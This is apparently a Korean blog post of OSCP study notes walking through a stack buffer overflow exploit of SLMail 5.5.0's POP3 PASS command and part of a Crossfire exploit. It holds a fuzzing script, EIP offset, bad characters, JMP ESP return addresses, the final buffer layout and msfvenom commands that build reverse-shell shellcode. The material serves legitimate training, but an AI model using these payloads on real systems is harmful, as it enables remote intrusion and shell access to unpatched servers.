버퍼오버플로우
퍼징 배울건데 대상은 SLMail 5.5.0 Mail Server 2005년에 취약점이 발견됬음
유저 로그인에 제공되는 POP3 PASS 명령어에 의해 영향 받음
공격자는 계정정보를 알필요 없이 버퍼오버플로우를 트리거 할 수 있음
SLMail은 DEP와 ASLR이 적용되어있지 않으므로 배우기 간단함
SLMail을 택한 이유중 하나는 간단한 커뮤니케이션, 평문 POP3 프로토콜을 사용하고 있기 때문이다.
우리는 초반에 pop3서버에 접근해봤어 netcat을 사용해서..
만약 프로토콜이 알려져있지 않았다면 우리는 프로토콜 포멧은 RFC를 찾아봐야한다.
우리 스스로 와이어샤크를 이용해서 배워야한다.
파이썬으로 netcat연결 수행을 다시 재현해보면 다음 코드는 아래와 같다
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket,SOCK_STREAM)
try:
print "\nSending evil buffer..."
s.connect(('10.0.0.22',100)) # connect to IP, POP3 port
data = s.recv(1024) # receive banner
print data # print banner
s.send('USER test' +'\r\n') # send username "test"
data = s.recv(1024) # recive reply
print data # print reply
s.send('PASS test\r\n') # send password "test"
data = s.recv(1024) # receive reply
print data # print reply
s.close() # close socket
print "\nDone!"
except:
print "Could not connect to POP3!"
위 간단한 스크립트를 가지고 로그인 프로세스 중에 비밀번호를 퍼징하도록 수정하는 것은 쉽다.
- len(buffer)는 List배열의 크기를 출력함, 콤마 단위로 그 크기를 계산함
Immunity debugger 한글 설명
http://i5on9i.blogspot.com/2012/08/immunity-debbuger-1.html
Immunity crash 발생시 바로 실행 종료되는 원인
=> 버그인듯..디버거를 다시 실행 시켜줘야됨
JIT 설정 ? No. 그래도 아래 참고..
https://j4ckp4rd.tistory.com/43
로컬설치 -> 디버거 attach -> 프로토콜 소켓 작성 -> 퍼징 -> EIP위치 찾기 -> 쉘코드 공간체크 -> bad chars 걸러내기
-> 리턴 주소 도달할 방법 찾기 -> 쉘 코드 생성 -> Exploit!!
6.1 - Fuzzing
- 프로토콜 통신 스크립트 작성
- 퍼징
7.1 - Replicating the Crash
7.2 - Controlling EIP
- Binary Tree Analysis
- Sending a Unique String
편리한 바이너리 파일
msf-pattern_create
msf-pattern_offset
pattern_offset.rb 스크립트는 이 4 바이트가 2700 바이트의 오프셋 2606에 있다고 보고합니다.
이것을 새로운 수정 된 버퍼 문자열로 변환하고 EIP 레지스터를 제어 할 수 있는지 살펴 보겠습니다.
다음 버퍼 문자열을 포함하도록 익스플로잇을 수정합니다.
buffer = "A" * 2606 + "B" * 4 + "C" * 90
버퍼의 일부에는 리버스 셸과 같이 SLMail 응용 프로그램에서 실행하려는 코드 (또는 셸 코드)가 포함될 수 있습니다.
다음 단계는이 셸 코드를 위한 공간을 검사하고 준비하며 코드 실행을 리디렉션하는 방법을 알아내는 것입니다.
EIP까지 2606 스텁코드가 필요함.
BBBB가 EIP로 REDIRECT할 주소를 위치시킬 것임
7.3 - Locating Space for Your Shellcode
메타스플로잇이 자동으로 생성해주는 표준 쉘코드는 350-400 바이트를 차지함
버퍼의 크기가 스텁코드+EIP+쉘코드까지 수용할 공간이 있는가?
이 문제를 해결하는 한 가지 쉬운 방법은 단순히 버퍼 길이를 2700 바이트에서 3500 바이트로 늘리고 쉘 코드의 버퍼 공간이 더 큰지 확인하는 것입니다.
buffer = "A" * 2606 + "B" * 4 + "C" * (3500 – 2606 - 4)
그림으로 디버거에 위치한 C크기 확인
이 간단한 트릭은 우리에게 훨씬 더 많은 작업 공간을 제공했습니다.
추가 조사를 통해 쉘 코드에 사용할 수있는 총 430 바이트의 여유 공간이 있음을 알 수 있습니다.
다시 한 번, ESP의 주소가 버퍼를 가리키는 방법을 확인하고 이 주소는 이전 crash의 주소와 동일하지 않습니다.
7.4 - Checking for Bad Characters
사용중인 응용 프로그램, 취약성 유형 및 프로토콜에 따라 "bad"로 간주되어 버퍼, 반송 주소 또는 셸 코드에 사용해서는 안되는 특정 문자가있을 수 있습니다.
일반적으로 bad character (특히 검사되지 않은 문자열 복사 작업으로 인한 버퍼 오버플로)의 한 예는 null 바이트 (0x00)입니다.
널 바이트는 문자열 복사 조작을 종료하는 데 사용되기 때문에이 문자는 잘못된 것으로 간주됩니다.
이는 첫 번째 널 바이트가 나타나는 곳으로 버퍼를 효과적으로 자릅니다.
POP3 PASS 명령과 관련된 bac chracter의 또 다른 예는 캐리지 리턴 (0x0D)으로, 비밀번호 끝에 도달했음을 애플리케이션에 표시합니다.
숙련 된 익스플로잇 작성자는 bac chracter를 확인하여 향후 문제를 방지합니다. 이 작업을 수행하는 쉬운 방법은 버퍼의 일부로 0x00에서 0xff까지 가능한 모든 문자를 보내고 충돌이 발생한 후 응용 프로그램에서 이러한 문자를 처리하는 방법을 확인하는 것입니다.
=> 0x00 부터 전부 전송하여 bad characters 골라내기
테스트 app은 0x00, 0x0a, 0x0d가 bad characters 였음
지난 몇 번의 디버거 재시작에서 알 수 있듯이 ESP의 값이 매번 변경된다.
따라서 특정 스택 주소를 하드 코딩하면 버퍼에 안정적으로 도달 할 수 없습니다.
스택 주소는 각 스레드에 운영 체제에 의해 할당 된 예약 된 스택 메모리 영역이 있기 때문에 특히 SLMail과 같은 스레드 응용 프로그램에서 자주 중단되기 때문입니다.
7.5.1 - Finding a Return Address
버퍼로 바로 이동할 수 없다면 다른 옵션이 있습니까?
Crash 발생시 ESP가 가리키는 주소로 이동하는 것 보다 일반적인 방법이 필요합니다. JMP ESP와 같은 명령어가 포함 된 메모리에서 액세스 가능하고 안정적인 주소를 찾을 수 있으면 점프 할 때 ESP 레지스터가 가리키는 주소로 이동합니다.
이는 절대 값에 관계없이 ESP 레지스터에 의해 표시되는 메모리에 도달하는 신뢰성 있고 간접적인 방법을 제공합니다.
그러한 주소를 어떻게 찾습니까? Immunity Debugger 스크립트 mona.py가 있습니다.
이 스크립트는 이러한 "반환 주소"를 검색 할 수있는 메모리의 모듈을 식별하는데 도움이됩니다.
이 경우에는 JMP ESP 명령입니다. 다음 기준에 맞는 모듈을 선택해야합니다.
1. DEP 및 ASLR과 같은 메모리 보호 기능이 없습니다.
2. 잘못된 문자를 포함하지 않는 메모리 범위가 있습니다.
Immunity Debugger 내 !mona modules 명령의 출력 확인
다음 출력을 보여줍니다.
SLMFC.DLL / False|False|False|False|True
이 애플리케이션이 DEP 지원으로 컴파일 된 경우, JMP ESP 주소는 모듈의 코드 (.text) 세그먼트에 있어야합니다.
읽기 (R) 및 실행 가능 (E) 권한이 모두 있는 유일한 세그먼트이기 때문입니다. 그러나 DEP가 활성화되어 있지 않기 때문에 우리는 이 모듈의 모든 주소의 명령어를 자유롭게 사용할 수 있습니다. Immunity Debugger 내에서 JMP ESP 주소를 검색하면 코드 섹션의 주소만 표시되므로 JMP ESP 또는 이와 동등한 opcode에 대해보다 철저한 이진 검색을 실행해야합니다. JMP ESP와 동등한 opcode를 찾으려면 Metasploit NASM Shell 루비 스크립트를 사용할 수 있습니다.
root@kali:~# msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
!mona find -s "\xFF\xE4" -m SLMFC.DLL
몇가지 가능한 주소들이 보인다. 여기서 bad chars를 포함하지 않는 주소(0x5f4a358f)를 선택한다.
쉘코드에 도달하기 위해 다음과 같이 페이로드를 구성하여 테스트해보자.(*리틀엔디안 주의)
buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390
7.6 - Generating Shellcode with Metasploit
msfvenom -l payloads : 페이로드 리스트 확인
windows/shell_reverse_tcp
-f c: C코드 형태의 쉘코드 생성
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.81.131 LPORT=4444 -f c
-b "\0x00\0x0a\0x0d" : bad chars 제거
-e x86/shikata_ga_nai : 인코딩 적용
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.81.131 LPORT=4444 -f c -b "\x00\x0a\0x0d" -e x86/shikata_ga_nai
7.7 - Getting a Shell
SL 메일에서 리버스 쉘을 얻는 것은 C의 버퍼를 쉘 코드로 바꾸고 네트워크를 통해 익스플로잇을 보내는 것 만큼 간단합니다. 그러나 ESP 레지스터가 페이로드의 시작 부분을 가리 키기 때문에 Metasploit Framework 디코더는 쉘 코드의 처음 몇 바이트를 덮어 쓰면 쓸모가 없게됩니다.
쉘 코드의 시작 부분에 NOP (No Operation) 명령어 (0x90)를 추가하여이 문제를 피할 수 있습니다.
이름에서 알 수 있듯이 이 명령은 아무 것도하지 않습니다. 다음 명령으로 넘어 가서 실행할 것입니다.
우리의 최종 익스플로잇은 다음과 유사합니다.
buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode
7.8 - Improving the Exploit
기본 Metasploit Framework 셸 코드를 사용하는 경우 셸 코드 실행이 끝날 때 셸 코드가 사용하는 기본 종료 방법은 ExitProcess입니다.
이 종료 방법은 전체 메일 서비스 프로세스를 종료하여 SLMail 서비스를 효과적으로 종료시키고 충돌시킵니다.
우리가 사용하는 프로그램이 스레드 응용 프로그램 (이 경우) 인 경우 ExitThread 메서드를 대신 사용하여 서비스의 충돌을 피할 수 있습니다.
이렇게하면 POP3 서버의 일반적인 작동을 방해하지 않으면 서 익스플로잇 작업을 수행 할 수있을뿐만 아니라
서버를 반복적으로 익스플로잇하고 서비스를 중단하지 않고 셸을 종료 할 수 있습니다.
쉘 코드 생성 중에 msfvenom이 ExitThread 메소드를 사용하도록 지시하려면 다음 명령을 발행하십시오.
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.4 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"
위의 셸 코드를 생성하고 기존 셸 코드로 바꾸십시오. 쉘을 종료 할 때 어떤 일이 발생하는지, 그리고 이전에 사용한 쉘 코드와 다르게 동작하는지 확인하십시오.
쉘 코드 테스트시 안정성 높이는 방법
1. 리버스 TCP보다 calc 코드를 먼저 테스트하자..
2. Exitfunc는 추가적 옵션, 이 옵션이 추가되면 Exploit에 실패하는 경우도 있으므로
기본적인 Exploit을 먼저 시도해보는게 좋다.
리눅스환경 crossfire 버퍼 오버플로우 일부만 번역
8.4 - Finding Space for Our Shellcode
충돌이 발생하는 시점에서 버퍼에 쉽게 도달 할 수있는 레지스터를 다시 한 번 확인합니다.
이 경우 EAX 레지스터는 setup sound 문자열을 포함하여 버퍼의 시작 부분을 가리키는 것으로 보입니다.
EAX가 버퍼를 직접 가리 키지 않는다는 사실은 쉘 코드 앞에 문자열 "setup sound"에 해당하는 opcode를 실행하기 때문에 EAX로 점프하는 능력에 영향을 줄 수 있습니다. 그것은 실행 경로를 맹글할 것이고 우리의 exploit은 실패하거나 성공할지도 모릅니다.
다음은 setup문자열로 생성된 실제 opcode에 대한 추가 조사로 "setup sound"문자열로 생성된 명령어를 보여줍니다.
흥미롭게도, opcode 명령어 s와 e (“setup”이라는 단어의 첫 두 글자)는“조건부 점프”명령어로 번역되어 사용자 제어 버퍼의 근처 위치로 점프하는 것 같습니다. 단어 설정의 다음 두 글자 t와 u는 약간 다른 조건부 점프로 변환됩니다.
이 모든 점프는 사용자 제어 버퍼로 이어지는 것 같습니다. 이 경우 약간의 마사지로 EAX로 점프하면 실제로 효과가 있습니다. 그러나 이것은 우아한 해결책이 아닙니다. 더 열심히 노력합시다.
8.5 - Improving Exploit Reliability
분석을 계속하면 충돌시 ESP 레지스터가 C 버퍼의 끝을 가리키는 것처럼 보이므로 작업 할 수 있는 셸 코드 공간이 몇 바이트에 불과합니다. 이전 SLMail 버퍼 오버플로와 달리 "setup sound" 문자열의 버퍼 길이를 늘리면 응용 프로그램이 다르게 충돌합니다. 그러나 모든 부분이 손실되지는 않습니다.
충돌하는 동안 ESP 레지스터가 가리키는 몇 바이트를 여전히 사용하여 첫 번째 단계 쉘 코드를 생성 할 수 있습니다.
이 코드는 EAX 레지스터를 A버퍼 시작 부분에 맞추고 문자열 “setup sound”를 건너 뜁니다.
이렇게 하기 위해서는 첫 번째 단계 쉘 코드는 12바이트("setup sound")를 EAX 레지스터에 추가한 다음에 EAX로 이동해야합니다. 이 첫 단계 쉘 코드의 opcode가 무엇인지 봅시다.
kali> msf-nasm_shell
nasm> add eax, 12
83C00C
nasm> jmp eax
FFE0
다행스럽게도 이 두 세트의 명령어는 5바이트의 메모리만 차지합니다.
\x83\xc0\x0c\xff\xe0
8.6 - Discovering Bad Characters
bad characters 발견 과정은 SLMail 연습과 매우 유사합니다. 전체 문자 범위를 버퍼로 보낸 다음 메모리에 들어가면 해당 문자가 엉망이되거나 스왑, 삭제 또는 변경되는지 모니터링합니다. 우리가 발견한 크로스 파이어 애플리케이션에서 발견 한 bad chars 목록은 \x00\x0a\x0d\x20입니다.
=> 내가 체크한 badchars는 두개뿐인데..? \x00\x20
8.7 - Finding a Return Address
이제 ESP 레지스터가 가리키는 버퍼에 도달하고 있음을 알았으므로 JMP ESP와 같은 명령어를 찾아야합니다.
이 명령어는 ESP 레지스터가 가리키는 주소로 이동합니다. Evans Debugger에는 쉬운 opcode 검색 기능이 있어 이 작업을 쉽게 수행 할 수 있습니다. (바이너리 디버거로 실행 후 단축키: 컨트롤+O)
Jump Equivalent: ESP -> EIP 선택 후 Find 클릭
0x0813524f: jmp esp
'OSCP > OSCP Course PDF' 카테고리의 다른 글
14. Password Attacks -1 (cewl,fgdump) (0) | 2020.03.04 |
---|---|
16. Metasploit-2 / Payload, msfvenom, Reverse HTTPS Meterpreter (0) | 2020.03.03 |
16. Metasploit-1 / Payloads (Staged vs. Non(un)-Staged), meterpreter (0) | 2020.03.01 |
9. Working with Exploits (0) | 2020.02.27 |
10. File Transfers (0) | 2020.02.26 |